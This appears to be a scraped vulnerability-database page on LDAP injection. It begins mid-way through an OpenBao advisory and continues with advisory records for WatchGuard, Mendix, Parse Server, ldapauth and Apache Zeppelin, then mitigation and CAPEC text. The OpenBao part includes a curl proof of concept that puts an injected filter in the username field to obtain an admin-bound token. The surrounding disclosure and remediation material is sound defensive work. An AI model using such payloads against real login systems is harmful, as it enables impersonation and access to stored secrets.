`(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to:\n- `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*`\n\nSince all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries.\n\n### Preconditions\n\n- LDAP authentication backend must be configured\n- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding\n- Attacker controls the `username` field at login time\n\n## 2. Proof of Concept\n\n```bash\n# Login with LDAP injection payload as username\ncurl -k -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"username\": \"alice)(sAMAccountName=*\",\n    \"password\": \"anything\"\n  }\u0027 \\\n  https://localhost:8200/v1/auth/ldap/login/admin\n\n# LDAP filter constructed:\n# (\u0026(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))\n#                   injection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500^\n# The filter matches the first user with objectClass=user\n# If the LDAP server returns admin\u0027s entry first, the token\n# is bound to the admin entity, inheriting all admin policies\n```\n\nThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user \u2014 potentially an administrative account.\n\n## 3. Impact\n\n| Impact | Detail |\n|--------|--------|\n| **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |\n| **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user |\n| **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |\n\n**Likelihood: HIGH** \u2014 the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`.\n\n### Why This Is High Severity\n\nThe LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.\n\n## 4. Remediation\n\n### Primary Fix: Use ldap.EscapeFilter\n\nReplace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths:\n\n```go\nimport \"github.com/go-ldap/ldap/v3\"\n\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", ldap.EscapeFilter(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)\n```\n\n`EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`.\n\n### Audit: All Call Sites\n\nReview all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context:\n\n```bash\ngrep -rn \"EscapeLDAPValue\" /root/cve-audit/openbao/\n```\n\n### Defense-in-Depth\n\n- Apply the principle of least privilege to LDAP service accounts used by OpenBao\n- Use `UserFilter` with explicit attribute constraints to limit the search scope",
  "id": "GHSA-6mwx-4547-5vc9",
  "modified": "2026-06-19T21:42:01Z",
  "published": "2026-06-19T21:42:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/pull/3306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openbao/openbao"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenBao: LDAPi ldaputil (wrong escape func)"
}

GHSA-75V6-GF74-7FJW

Vulnerability from github – Published: 2026-01-30 15:31 – Updated: 2026-08-10 21:31
VLAI
Details

An LDAP Injection vulnerability in WatchGuard Fireware OS may allow a remote unauthenticated attacker to retrieve sensitive information from a connected LDAP authentication server through an exposed authentication or management web interface. This vulnerability may also allow a remote attacker to authenticate as an LDAP user with a partial identifier if they additionally have that user's valid passphrase.This issue affects Fireware OS: from 12.0 through 12.11.6, from 12.5 through 12.5.15, from 2025.1 through 2026.0.

Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-1498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-30T13:15:54Z",
    "severity": "HIGH"
  },
  "details": "An LDAP Injection vulnerability in WatchGuard Fireware OS may allow a remote unauthenticated attacker to retrieve sensitive information from a connected LDAP authentication server through an exposed authentication or management web interface. This vulnerability may also allow a remote attacker to authenticate as an LDAP user with a partial identifier if they additionally have that user\u0027s valid passphrase.This issue affects Fireware OS: from 12.0 through 12.11.6, from 12.5 through 12.5.15, from 2025.1 through 2026.0.",
  "id": "GHSA-75v6-gf74-7fjw",
  "modified": "2026-08-10T21:31:56Z",
  "published": "2026-01-30T15:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1498"
    },
    {
      "type": "WEB",
      "url": "https://psirt.watchguard.com/CVE-2026-1498"
    },
    {
      "type": "WEB",
      "url": "https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2026-00001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-78X9-6J67-9RJ6

Vulnerability from github – Published: 2025-01-14 12:31 – Updated: 2025-01-14 12:31
VLAI
Details

A vulnerability has been identified in Mendix LDAP (All versions < V1.1.2). Affected versions of the module are vulnerable to LDAP injection. This could allow an unauthenticated remote attacker to bypass username verification.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
9.1 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T11:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in Mendix LDAP (All versions \u003c V1.1.2). Affected versions of the module are vulnerable to LDAP injection. This could allow an unauthenticated remote attacker to bypass username verification.",
  "id": "GHSA-78x9-6j67-9rj6",
  "modified": "2025-01-14T12:31:50Z",
  "published": "2025-01-14T12:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56841"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-314390.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7M6R-FHH7-R47C

Vulnerability from github – Published: 2026-03-11 00:23 – Updated: 2026-03-11 05:47
VLAI
Summary
Parse Server vulnerable to LDAP injection via unsanitized user input in DN and group filter construction
Details

Impact

The LDAP authentication adapter is vulnerable to LDAP injection. User-supplied input (authData.id) is interpolated directly into LDAP Distinguished Names (DN) and group search filters without escaping special characters. This allows an attacker with valid LDAP credentials to manipulate the bind DN structure and to bypass group membership checks. This enables privilege escalation from any authenticated LDAP user to a member of any restricted group.

The vulnerability affects Parse Server deployments that use the LDAP authentication adapter with group-based access control.

Patches

The vulnerability is fixed by escaping user input before interpolation into DN strings (per RFC 4514) and LDAP filter strings (per RFC 4515).

Workarounds

There is no known workaround.

References

  • GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-7m6r-fhh7-r47c
  • Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.13
  • Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.26
Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-alpha.1"
            },
            {
              "fixed": "9.5.2-alpha.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:23:21Z",
    "nvd_published_at": "2026-03-10T22:16:20Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe LDAP authentication adapter is vulnerable to LDAP injection. User-supplied input (`authData.id`) is interpolated directly into LDAP Distinguished Names (DN) and group search filters without escaping special characters. This allows an attacker with valid LDAP credentials to manipulate the bind DN structure and to bypass group membership checks. This enables privilege escalation from any authenticated LDAP user to a member of any restricted group.\n\nThe vulnerability affects Parse Server deployments that use the LDAP authentication adapter with group-based access control.\n\n### Patches\n\nThe vulnerability is fixed by escaping user input before interpolation into DN strings (per [RFC 4514](https://datatracker.ietf.org/doc/html/rfc4514#section-2.4)) and LDAP filter strings (per [RFC 4515](https://datatracker.ietf.org/doc/html/rfc4515#section-3)).\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-7m6r-fhh7-r47c\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.13\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.26",
  "id": "GHSA-7m6r-fhh7-r47c",
  "modified": "2026-03-11T05:47:03Z",
  "published": "2026-03-11T00:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-7m6r-fhh7-r47c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31828"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/8.6.26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Parse Server vulnerable to LDAP injection via unsanitized user input in DN and group filter construction"
}

GHSA-82MG-X548-GQ3J

Vulnerability from github – Published: 2020-08-31 22:49 – Updated: 2021-09-23 19:58
VLAI
Summary
LDAP Injection in ldapauth
Details

Versions 2.2.4 and earlier of ldapauth-fork are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.

Recommendation

ldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use ldapauth-fork 2.3.3 or greater.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ldapauth-fork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "ldapauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-7294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:07:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions 2.2.4 and earlier of `ldapauth-fork` are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.\n\n\n\n## Recommendation\n\nldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater.",
  "id": "GHSA-82mg-x548-gq3j",
  "modified": "2021-09-23T19:58:02Z",
  "published": "2020-08-31T22:49:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vesse/node-ldapauth-fork/issues/21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vesse/node-ldapauth-fork/commit/3feea43e243698bcaeffa904a7324f4d96df60e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vesse/node-ldapauth-fork"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/18"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/19"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/18/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/18/8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/21/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LDAP Injection in ldapauth"
}

GHSA-853R-VXG2-55R2

Vulnerability from github – Published: 2026-07-30 18:31 – Updated: 2026-07-31 18:32
VLAI
Details

LDAP filter injection vulnerability in Apache Zeppelin. LdapRealm used RFC 4514 distinguished-name escaping when constructing LDAP search filters instead of RFC 4515 filter escaping, leaving special filter characters insufficiently escaped.                   This is an incomplete fix of CVE-2024-31867. This issue affects Apache Zeppelin versions 0.11.1, 0.11.2, and 0.12.0. Users are recommended to upgrade to version 0.12.1, which fixes this issue.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-44617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T16:17:12Z",
    "severity": "MODERATE"
  },
  "details": "LDAP filter injection vulnerability in Apache Zeppelin. LdapRealm used RFC 4514 distinguished-name escaping when constructing LDAP search filters instead of RFC 4515 filter escaping, leaving special filter characters insufficiently escaped. \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0This is an incomplete fix of CVE-2024-31867. This issue affects Apache Zeppelin versions 0.11.1, 0.11.2, and 0.12.0. Users are recommended to upgrade to version 0.12.1, which fixes this issue.",
  "id": "GHSA-853r-vxg2-55r2",
  "modified": "2026-07-31T18:32:12Z",
  "published": "2026-07-30T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/5226"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/s65t6n3s1v4j5b1w7zvv5w73ko69m1zv"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

← Back to the CWE list